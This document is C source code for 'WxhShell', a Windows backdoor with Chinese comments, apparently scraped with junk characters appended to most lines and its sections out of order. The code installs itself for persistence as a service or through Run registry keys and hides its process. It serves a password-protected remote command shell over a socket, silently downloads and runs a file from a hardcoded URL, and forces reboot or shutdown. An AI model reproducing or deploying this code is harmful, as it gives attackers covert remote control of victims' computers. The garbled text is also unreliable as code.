    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ?z ,!iK`  
    if(Boot(SHUTDOWN)) :}Jx  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Tw~R-SiS`s  
    else { M 8^ID #  
    closesocket(wsh); QxT'\7f  
    ExitThread(0);  ` Xc7b  
    } ~cz}C("Z  
    break; ~z[`G#dU  
    } yUoR6w  
  // 获取shell 2Gyq40  
  case 's': { C*`WMP*  
    CmdShell(wsh); 9t! d.}  
    closesocket(wsh); $0*sj XV  
    ExitThread(0); @uSO~. 7  
    break; J%|?[{rO{'  
  } uH_KOiF  
  // 退出 OqGp|`  
  case 'x': { I2}W/}  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); !E7gI qo  
    CloseIt(wsh); F)P:lvp<r  
    break; OM'iJB6=  
    } Khq\@`RaT  
  // 离开 YV>a 3  
  case 'q': { }_Bo:*9B-o  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); M-WSdG[AJ  
    closesocket(wsh); VO#rJ1J  
    WSACleanup();  31n"w;  
    exit(1); AvL /gt:  
    break; PW*Vfjf4  
        } 5- dt0I@<  
  } +'H[4g`  
  } G/ x6zdk  
,@Csa#  
  // 提示信息 Q0*E&;|  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 'r'=%u$1C  
} \e a*  
  } G<Z}G8FW^  
];.5 *a%*  
  return; s>9I#_4]  
} b+s'B4@rb  
@6UY4vq9  
// shell模块句柄 >N3X/8KL%  
int CmdShell(SOCKET sock) z$<=8ox8e  
{ [bLKjD  
STARTUPINFO si; W3i<Unq  
ZeroMemory(&si,sizeof(si)); #y\O+\4e  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; g5BL"Dn  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; [gzaOP`f  
PROCESS_INFORMATION ProcessInfo; g}9 ,U&$]y  
char cmdline[]="cmd"; &H _/`Z]Q  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Vmz#u1gGT6  
  return 0; ]H`wE_2tu  
} <?7CwW  
/.:1Da  
// 自身启动模式 -6MPls+  
int StartFromService(void) _ $PeFE2  
{ fWP]{z`  
typedef struct Hc/7x).  
{ Uahh|> s  
  DWORD ExitStatus; qMaO1cE\  
  DWORD PebBaseAddress; c coi  
  DWORD AffinityMask; 1dD%a91  
  DWORD BasePriority; mbAzn  
  ULONG UniqueProcessId; /{R ^J#  
  ULONG InheritedFromUniqueProcessId; G-CL \G\n  
}   PROCESS_BASIC_INFORMATION; CXUF=IE  
WjBml'^RY  
PROCNTQSIP NtQueryInformationProcess; mjOxmwo  
->#wDL!6  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; azZ|T{S  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; pyf'_  
&"u(0q  
  HANDLE             hProcess; ,):aU  
  PROCESS_BASIC_INFORMATION pbi; s?<FS@k  
=Vh]{ y~$  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); OL1xxzo  
  if(NULL == hInst ) return 0; $7X;FmlG&  
E[hSL#0  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); /A5=L<T6F  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); u%L6@M2  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Wz^;:6F  
oD%n}  
  if (!NtQueryInformationProcess) return 0; mAH7; u<  
9f['TG,"  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); v~RxtTu  
  if(!hProcess) return 0; u!xgLf'`  
xb7!!PR  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; d% @0xsU1  
^PdD-tY<  
  CloseHandle(hProcess); wz+mFf  
T7YJC,^m  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); %B&O+~  
if(hProcess==NULL) return 0; D~qi6@Ga  
{? yRO]  
HMODULE hMod; :~s"]*y  
char procName[255]; DmoY],9I+p  
unsigned long cbNeeded; /&?ei*z  
4P C'7V=S  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 0#c-qy  
x1 LI&  
  CloseHandle(hProcess); JAW7Y:XB  
HJr*\%D}1  
if(strstr(procName,"services")) return 1; // 以服务启动 :wzbD,/M  
bil>;&h  
  return 0; // 注册表启动 wV-N\5!r%H  
} [)Ia Xa  
wQ-BY"cK\  
// 主模块 -vT$UP  
int StartWxhshell(LPSTR lpCmdLine) $IKN7  
{ u 'ng'j'  
  SOCKET wsl; 54JI/!a  
BOOL val=TRUE; ~9f Ts4U  
  int port=0; oOQan  
  struct sockaddr_in door; ZZL%5{ w_  
Cn9MboXX  
  if(wscfg.ws_autoins) Install(); +SRM?av  
c1]\.s  
port=atoi(lpCmdLine); a(U/70j  
OUHd@up@n  
if(port<=0) port=wscfg.ws_port; Tq6@ 1j6p  
wRWKem=  
  WSADATA data; D@mqfi(x  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; v^IMN3^W  
Z}O0DfT;  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   v2#qs*sW8  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); la !rg#)-X  
  door.sin_family = AF_INET; qmpU{f s  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); "jl`FAu)q  
  door.sin_port = htons(port); E<_+Tc  
'$OLU[(Y  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { H Lt;1:b  
closesocket(wsl);  hWu#}iN  
return 1; PJcz] <  
} f1VA61z{)  
w<4){ .dA  
  if(listen(wsl,2) == INVALID_SOCKET) { j@s,5:;[  
closesocket(wsl); jdDcmR  
return 1; \RP=Gf  
} [26([H  
  Wxhshell(wsl); kA:cz$ )  
  WSACleanup(); vCNYqa)m:  
$VJ=A<  
return 0; K>$od^f%c  
t\+vTvT)RE  
} >7V&pH'  
pRdO4?l  
// 以NT服务方式启动 I1(, J  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) C>7k|;BvF  
{ =M9Od7\J  
DWORD   status = 0; *o[*,1Pw  
  DWORD   specificError = 0xfffffff; [ !:.9  
V# 6`PD6  
  serviceStatus.dwServiceType     = SERVICE_WIN32; (iiyptJ  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; @le23+q  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; "mE<r2=@  
  serviceStatus.dwWin32ExitCode     = 0; #6JCm!s  
  serviceStatus.dwServiceSpecificExitCode = 0; (sn|`k3I  
  serviceStatus.dwCheckPoint       = 0; Fx0<!_tY-  
  serviceStatus.dwWaitHint       = 0; C`x>)wm:  
#PmF@ CHR  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); TM':G9n  
  if (hServiceStatusHandle==0) return; NLF{W|X  
ZA ii"F  
status = GetLastError(); 6i \b&  
  if (status!=NO_ERROR) 413r3/  
{ Nr7MSFiL  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; _"F(w"|  
    serviceStatus.dwCheckPoint       = 0; QTK{JZf  
    serviceStatus.dwWaitHint       = 0; A\.M/)Qo  
    serviceStatus.dwWin32ExitCode     = status; *Qg/W? "m  
    serviceStatus.dwServiceSpecificExitCode = specificError; :/Nz' n  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7z6yn= B  
    return; `&>!a  
  } Ybx4 Up@  
3!CI=(^IY  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Qo{^jDe,c*  
  serviceStatus.dwCheckPoint       = 0; +]  |J  
  serviceStatus.dwWaitHint       = 0; Z!|nc.  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); "$:nz}  
} %-T]!3"n  
WohK,<Or  
// 处理NT服务事件,比如:启动、停止 hgKs[ySo,3  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Cl>'K*$F  
{ M* QqiE  
switch(fdwControl) 5'>(|7~%\  
{ 1p9f& w  
case SERVICE_CONTROL_STOP: /5r[M=_ihr  
  serviceStatus.dwWin32ExitCode = 0; Q9#$4  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; kG,6;aVZ8  
  serviceStatus.dwCheckPoint   = 0; T?7 ZF+yo6  
  serviceStatus.dwWaitHint     = 0; C2eei're  
  { 6z=:x+m  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); wTIOCj  
  } Fz)z&WT  
  return; 8u;l<^<  
case SERVICE_CONTROL_PAUSE: GXRK+RHuBi  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; &sWq SS  
  break; XF{}St~(  
case SERVICE_CONTROL_CONTINUE: le|e 4f*+  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 6]Ppa ~Xwq  
  break; O-bC+vB]M  
case SERVICE_CONTROL_INTERROGATE: iu&'v  
  break; |3\ mH~Bw  
}; HK5\i@G+<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \\x``*  
} W)w@ju$Ko  
~++y4NB8Q  
// 标准应用程序主函数 Cq/*/jBM  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) J0lTp /  
{ IM)\-O\Wd  
%,-vmqr  
// 获取操作系统版本 -~v;'zOO  
OsIsNt=GetOsVer(); [ZOo%"M_Y  
GetModuleFileName(NULL,ExeFile,MAX_PATH); xQ7>u -^  
!1)lGjMW  
  // 从命令行安装 )iluu1,o  
  if(strpbrk(lpCmdLine,"iI")) Install(); }N*6xr*X+  
{&"rv<p  
  // 下载执行文件 # TC x8]F  
if(wscfg.ws_downexe) { #U(dleT8  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK)  [L] ca*  
  WinExec(wscfg.ws_filenam,SW_HIDE); avykg(  
}  N6E H  
r^VH [c@c  
if(!OsIsNt) { HpuHJ#l  
// 如果时win9x,隐藏进程并且设置为注册表启动 C B=H1+  
HideProc(); 'X"@C;q  
StartWxhshell(lpCmdLine); tlQ3 BKp  
} 4)*8&  
else PDzVXLpC  
  if(StartFromService()) s==gjA e:  
  // 以服务方式启动 iAbtv^fn  
  StartServiceCtrlDispatcher(DispatchTable); mz3!HksZ "  
else 6#K1LY5}  
  // 普通方式启动 {SbA(a?B  
  StartWxhshell(lpCmdLine); y 7|x<Z  
h$G&4_O  
return 0; (p-a;.Twj  
} N3TkRJZ  
c*9RzD#Zj  
x'+lNlv  
k2" Z:\?z  
=========================================== C5\bnk{  
<hkg~4EKc  
~:D}L   
 }aRV)F  
,/C<GFae  
A+69_?B TH  
" G5Y 8]N  
r,A750P^  
#include <stdio.h> b-@6w(j  
#include <string.h> `)*   
#include <windows.h> Gyw@+(l  
#include <winsock2.h> W0K&mBu  
#include <winsvc.h> SVpvx`&kT  
#include <urlmon.h> 6cb;iA  
U z>5!_  
#pragma comment (lib, "Ws2_32.lib") 5Q^ L"&0  
#pragma comment (lib, "urlmon.lib") , pq<.?&E  
iXqc$!lTH  
#define MAX_USER   100 // 最大客户端连接数 S92'\2  
#define BUF_SOCK   200 // sock buffer l=`)yc.  
#define KEY_BUFF   255 // 输入 buffer 8G?'F${`  
68kxw1xY  
#define REBOOT     0   // 重启 &^8>Kd8  
#define SHUTDOWN   1   // 关机 #%il+3J  
]m{;yOQdsC  
#define DEF_PORT   5000 // 监听端口 r3mB"("Z'  
Ny /bNQS  
#define REG_LEN     16   // 注册表键长度 G0^WQQ4  
#define SVC_LEN     80   // NT服务名长度 u 3wF)B{  
E tWpBg  
// 从dll定义API fJtJ2xi  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); xO`w| k  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); yYkk0 3  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); p^Kp= z  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); U#gHc:$  
JR<#el  
// wxhshell配置信息 f9cS^v_:  
struct WSCFG { \O/EY&  
  int ws_port;         // 监听端口 i%GjtYjS  
  char ws_passstr[REG_LEN]; // 口令 2fT't"gw  
  int ws_autoins;       // 安装标记, 1=yes 0=no S)p{4`p%  
  char ws_regname[REG_LEN]; // 注册表键名 :W_S  
  char ws_svcname[REG_LEN]; // 服务名 IvTtQq  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ~Us1F=i_Q  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 OY*BVJ^  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息  L,!Z  
int ws_downexe;       // 下载执行标记, 1=yes 0=no a\$PqOB!  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 4NMv7[r  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 1 M7=*w,  
%np b.C|+  
}; y@ J\h8_  
4xuL{z;\  
// default Wxhshell configuration 0NK]u~T<  
struct WSCFG wscfg={DEF_PORT, /ZlW9|  
    "xuhuanlingzhe", 8)&H=#E  
    1, IJ3[6>/ M0  
    "Wxhshell", <T[%03  
    "Wxhshell", 6A7UW7/  
            "WxhShell Service", %f\ M61Z  
    "Wrsky Windows CmdShell Service", 4f ~CG r  
    "Please Input Your Password: ", 46o3F"  
  1, [-f0s;F1%  
  "http://www.wrsky.com/wxhshell.exe", MeW8aL r  
  "Wxhshell.exe" W@GcE;#-  
    }; Sdz!J 1  
j0L9Q|s  
// 消息定义模块 *YZ' Uy?  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 41>Bm*if  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ez%RWck  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; udX4SBq-pC  
char *msg_ws_ext="\n\rExit.";  wa6DJ  
char *msg_ws_end="\n\rQuit."; c5>&~^~>Tx  
char *msg_ws_boot="\n\rReboot..."; #.?DsK_:@  
char *msg_ws_poff="\n\rShutdown..."; s/0-DHd  
char *msg_ws_down="\n\rSave to "; 9aD6mp  
ZalG/PFy  
char *msg_ws_err="\n\rErr!"; 1wmS?  
char *msg_ws_ok="\n\rOK!"; lb2mWsg"  
eXx6b~D  
char ExeFile[MAX_PATH]; "Nj(0&  
int nUser = 0; cpz}!D  
HANDLE handles[MAX_USER]; jb$sIZ%i  
int OsIsNt; G1  %c<1Y  
}UMg ph:2:  
SERVICE_STATUS       serviceStatus; "tBdz V  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 2GLq#")P  
9-eYCg7C|  
// 函数声明 lSC3m=4g  
int Install(void); ?q1&(g]qO  
int Uninstall(void); BoG/Hd.S  
int DownloadFile(char *sURL, SOCKET wsh); Mcj4GjV6:"  
int Boot(int flag); b[$%Wg  
void HideProc(void); wxB?}   
int GetOsVer(void); {g@Wd2-J}  
int Wxhshell(SOCKET wsl); E&}r"rbI  
void TalkWithClient(void *cs); ?/9]"HFHN  
int CmdShell(SOCKET sock); T5)Xl'Q  
int StartFromService(void);  V7%G?  
int StartWxhshell(LPSTR lpCmdLine); C(b"0>  
8kXbyKX[b  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); cveTrY}g  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ,WR$xi.j  
X?z5IL;rt  
// 数据结构和表定义 73P=<3  
SERVICE_TABLE_ENTRY DispatchTable[] = M7/P&d  
{ 9G` 2t~%  
{wscfg.ws_svcname, NTServiceMain}, h']R P  
{NULL, NULL} YN_#x  
}; RQWVjF#  
t }7hD  
// 自我安装 PwQW5,,h0  
int Install(void) ,*Y*ov23aQ  
{ 7)O?jc  
  char svExeFile[MAX_PATH]; vnMt>]w-}  
  HKEY key; oD4NQR  
  strcpy(svExeFile,ExeFile); [@U8&W  
F8Z<JcOI  
// 如果是win9x系统,修改注册表设为自启动 h#@l'Cye  
if(!OsIsNt) { U2 <*BRJ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `* "u"7e  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Yd~K\tX :n  
  RegCloseKey(key); EXH{3E54)`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 'C+z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Qh%/{6(u  
  RegCloseKey(key); U8]L3&~  
  return 0; X5U_|XK6Y  
    } P0~3<h?U8  
  } <Q/^[  
} s0H_Y'  
else { m(q6Xe:Vc  
it=L_zu}  
// 如果是NT以上系统,安装为系统服务 h?j;*|o-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); jWLZ!a3+  
if (schSCManager!=0) Bwjd/id q  
{ qF`;xa%,}  
  SC_HANDLE schService = CreateService !CtY.Lp  
  ( Ziu f<X{  
  schSCManager, \=Af AO@  
  wscfg.ws_svcname, zT#36+_?  
  wscfg.ws_svcdisp, V9-pY/v 9  
  SERVICE_ALL_ACCESS, E:V&:9aQ@  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , !H{)L@f  
  SERVICE_AUTO_START, EJjTf:  
  SERVICE_ERROR_NORMAL, ;38W41d{  
  svExeFile, :^0g}8$<  
  NULL, Re5m  
  NULL, \3n{%\_  
  NULL, & d\`=e  
  NULL, @ v/%^  
  NULL u><ax  
  ); 6?Q&>V26Y  
  if (schService!=0) FH)bE#4  
  { RKdf1C  
  CloseServiceHandle(schService); E"!9WF(2t5  
  CloseServiceHandle(schSCManager); ?=jmyDXH!  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); K~<pD:s  
  strcat(svExeFile,wscfg.ws_svcname); =x> z|1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 1)?^N`xF  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); {k1s@KXtd  
  RegCloseKey(key); @I\Z2-J  
  return 0; jz't!wj  
    } t!c8 c^HR  
  } aQCbRS6  
  CloseServiceHandle(schSCManager); daaUC  
} FI.S?gy0   
} a[\,K4l  
S+ymdZ)xZ`  
return 1; HB {-^9{E  
} +'>N]|Z  
0(Y$xg  
// 自我卸载 ~^lQ[x  
int Uninstall(void) ?*u)T%S  
{ DX}EOxO,.  
  HKEY key; w4'(Y,(`  
MVjc.^  
if(!OsIsNt) { XtT;UBE  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Bh:AY@k  
  RegDeleteValue(key,wscfg.ws_regname); j8?$Hk  
  RegCloseKey(key); Q&(?D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { w!:u|  
  RegDeleteValue(key,wscfg.ws_regname); 7 tF1g=\  
  RegCloseKey(key); }zRYT_:  
  return 0; [A|W0  
  } *0i   
} 4v3y3  
} (Ew o   
else { {5.,gb@6  
*`ehI_v :  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); V J){@  
if (schSCManager!=0) &|%z!x6f  
{ h?.6e9Y4  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); m{mK;D  
  if (schService!=0) dS0G+3J&+E  
  { \>cZ=  
  if(DeleteService(schService)!=0) { 9XT6Gf56  
  CloseServiceHandle(schService); `>?\MWyu  
  CloseServiceHandle(schSCManager); .}ohnnJB0  
  return 0; sa#=#0yg  
  } $MKx\qx}  
  CloseServiceHandle(schService); 1(w0* `  
  } ]WN{8   
  CloseServiceHandle(schSCManager); (loUO;S=  
} XT{1!I(  
} u~LisZ&tP  
r NU,(htS  
return 1; 3=t}py7M  
} -ud~'<k  
k :7UU4M 5  
// 从指定url下载文件 8Qu7x[tK?  
int DownloadFile(char *sURL, SOCKET wsh) H4k`wWOk  
{ 5ez"B]&T  
  HRESULT hr; 5zpk6FR$  
char seps[]= "/"; mt fDl;/D  
char *token; m{pL< g^M  
char *file; jA=uK6m  
char myURL[MAX_PATH]; GuM-H $,  
char myFILE[MAX_PATH]; xVfJ ]Y  
QlJCdCSy  
strcpy(myURL,sURL); "uGJ\  
  token=strtok(myURL,seps); 2r?g|< :  
  while(token!=NULL) q5lRc=.b[  
  { Cd7 j G  
    file=token; Se"\PxBR  
  token=strtok(NULL,seps); IZJV6clM  
  } TUy*wp9  
*Ei~2O}  
GetCurrentDirectory(MAX_PATH,myFILE); |YZ`CN<  
strcat(myFILE, "\\"); QV{Nq=%]  
strcat(myFILE, file); <FS/'[P  
  send(wsh,myFILE,strlen(myFILE),0); l:+tl/  
send(wsh,"...",3,0); . Nog.  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); kG?tgO?*  
  if(hr==S_OK) |+!Jr_ By  
return 0; umrRlF4M;  
else <6dD{{J]>p  
return 1; jJ55Az?t:  
v bb mmv  
} 4$IPz7  
,"h$!k"$g  
// 系统电源模块 `*}#Bks!  
int Boot(int flag) CFul_qZ/e  
{ htM5Nm[g  
  HANDLE hToken; hH"3Y}U@  
  TOKEN_PRIVILEGES tkp; OMKEn!Wq  
px4Z  
  if(OsIsNt) { K/MIDH  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 4yRT!k}o  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Ba`]Sm=  
    tkp.PrivilegeCount = 1; qf)]!w U9  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 9!bD|-6y  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ((.PPOdJV  
if(flag==REBOOT) { %3xH<$Gq5  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) v{JCEb&wN  
  return 0; .]r[0U  
} IFG`  
else { *ZN"+ wf\  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) E_ mgYW*5  
  return 0; CXUNdB  
} #\`6ZHW  
  } m?[F)<~a  
  else { 1-w1k ^e  
if(flag==REBOOT) { Ij=hmTl{P  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Cc!n`%qc  
  return 0; +BzKO >  
} IH>+P]+3"3  
else { !vImmhI!I  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) {\]SvoJnJ  
  return 0; mT!~;] RrF  
} F>^k<E?,C  
} w?Q@"^IL  
O~ qB  
return 1; rzqCQZHL5  
} vja^ O  
CZ]+B8Pl(x  
// win9x进程隐藏模块 /3Se*"u  
void HideProc(void) xg3G  
{  4jG@ #  
dr9I+c7u  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); nHZ 4):`  
  if ( hKernel != NULL ) WU=Os8gR  
  { h!d#=.R  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); _ e`b^_  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); vKaX,)P;?  
    FreeLibrary(hKernel); nH[@EL  
  } r43dnwX  
|nm,5gPNC  
return; Yq1 ~"he8  
} jRgv 8n  
.' X$SF`  
// 获取操作系统版本 E"V|Plf c  
int GetOsVer(void) 4=q\CK2^A  
{ (/qY*?  
  OSVERSIONINFO winfo; 60`y=!?f  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); dX+DE(y  
  GetVersionEx(&winfo); {{2ZWK 6|  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) jriliEz;f  
  return 1; VaQ}XM  
  else [$] JvF  
  return 0; ?+5K2Zk  
} y#x]?%m  
:UScbPG  
// 客户端句柄模块  \f  
int Wxhshell(SOCKET wsl) 2OK%eVba  
{ hV=)T^Q  
  SOCKET wsh; O"Xjv`j:  
  struct sockaddr_in client; vLkZC  
  DWORD myID; 6J&L5E  
4|Z3;;%+  
  while(nUser<MAX_USER) <Pf W  
{ 4; &(  
  int nSize=sizeof(client); bNc=}^  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); >L=l{F6 p  
  if(wsh==INVALID_SOCKET) return 1; F'`L~!F  
d]a*)m&  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); g{a_{P  
if(handles[nUser]==0) (?J&Ar0  
  closesocket(wsh); FQ O6w'  
else E@[`y:P  
  nUser++; eb+[=nmP  
  } Jh }3AoD  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); nwV\ [E  
%X#Wc:b  
  return 0; 6'*?zZrz  
} 'z+8;g.ekO  
>i`'e~%  
// 关闭 socket W%Ky#!\-  
void CloseIt(SOCKET wsh) .;$/nz6vk  
{ j_ :4_zdBy  
closesocket(wsh); Iy`Zh@"~  
nUser--; 3YRhqp"E  
ExitThread(0); se(_`a/4Q  
} =\_MJ?A$  
G]5'U"cj3  
// 客户端请求句柄 U24?+/5D]  
void TalkWithClient(void *cs) xT=|Uc0  
{ w3yI;P  
[g<6i.<I  
  SOCKET wsh=(SOCKET)cs; Ym!Ia&n  
  char pwd[SVC_LEN]; vw+ @'+  
  char cmd[KEY_BUFF]; nc l-VN  
char chr[1]; FtY*I&  
int i,j; ~W`upx)j  
_=, [5"  
  while (nUser < MAX_USER) { >Wy@J]Y#  
IURi90Ir  
if(wscfg.ws_passstr) { =DF7l<&km  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [n66ZY#U]  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +KD~/}C%-  
  //ZeroMemory(pwd,KEY_BUFF); 4d6F4G4U  
      i=0; = u73AM}  
  while(i<SVC_LEN) { J6::(0HM  
HfmTk5|/  
  // 设置超时 L6U[H#3(  
  fd_set FdRead; xt40hZ$  
  struct timeval TimeOut; Oja)J-QXb  
  FD_ZERO(&FdRead); 2:2rwH }e  
  FD_SET(wsh,&FdRead); ;XGG&M%3  
  TimeOut.tv_sec=8; Y_f6y 9?ZE  
  TimeOut.tv_usec=0; 3pq&TYQU  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ~fQ#-ekzqk  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); :IS]|3wD  
}4ta#T Ea  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %.<w8ag  
  pwd=chr[0]; Az" 3f  
  if(chr[0]==0xd || chr[0]==0xa) { @KNp?2a  
  pwd=0; [}d 3 u!  
  break; I_Oa<J\+  
  } 3LX<&."z  
  i++; v#D9yttO{  
    } iVnrv`k,  
qTiX;e\W  
  // 如果是非法用户,关闭 socket }U+gJkY2  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); j1<@ *W&b  
} GD.mB[f*  
nvpdu)q<  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 0nA17^W  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); zneK)C8&q3  
P1H`NOC  
while(1) { 1>l {c  
oREZ^pE@  
  ZeroMemory(cmd,KEY_BUFF); nG{j x_{`  
J&Le*R'  
      // 自动支持客户端 telnet标准   Bz!ddAvlK  
  j=0; !L-.bve!  
  while(j<KEY_BUFF) { lty`7(\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); bxEb2D  
  cmd[j]=chr[0]; q4(&.Al\@  
  if(chr[0]==0xa || chr[0]==0xd) { 2{**bArV  
  cmd[j]=0; vNi7=3  
  break; b^^Cj(  
  } ~])\xC  
  j++; C6O1ype  
    } Z]oa+W+  
(zye Ch  
  // 下载文件 Y.jg }oV  
  if(strstr(cmd,"http://")) { jw#'f%*  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ToDN^qE+  
  if(DownloadFile(cmd,wsh)) b)'Ew27  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); bIe>j*VPh@  
  else WynHcxC  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ma?569Z8~0  
  } OFCkQEG=y>  
  else { QQ1+uY  
;STO!^9~  
    switch(cmd[0]) { |~rDEv3  
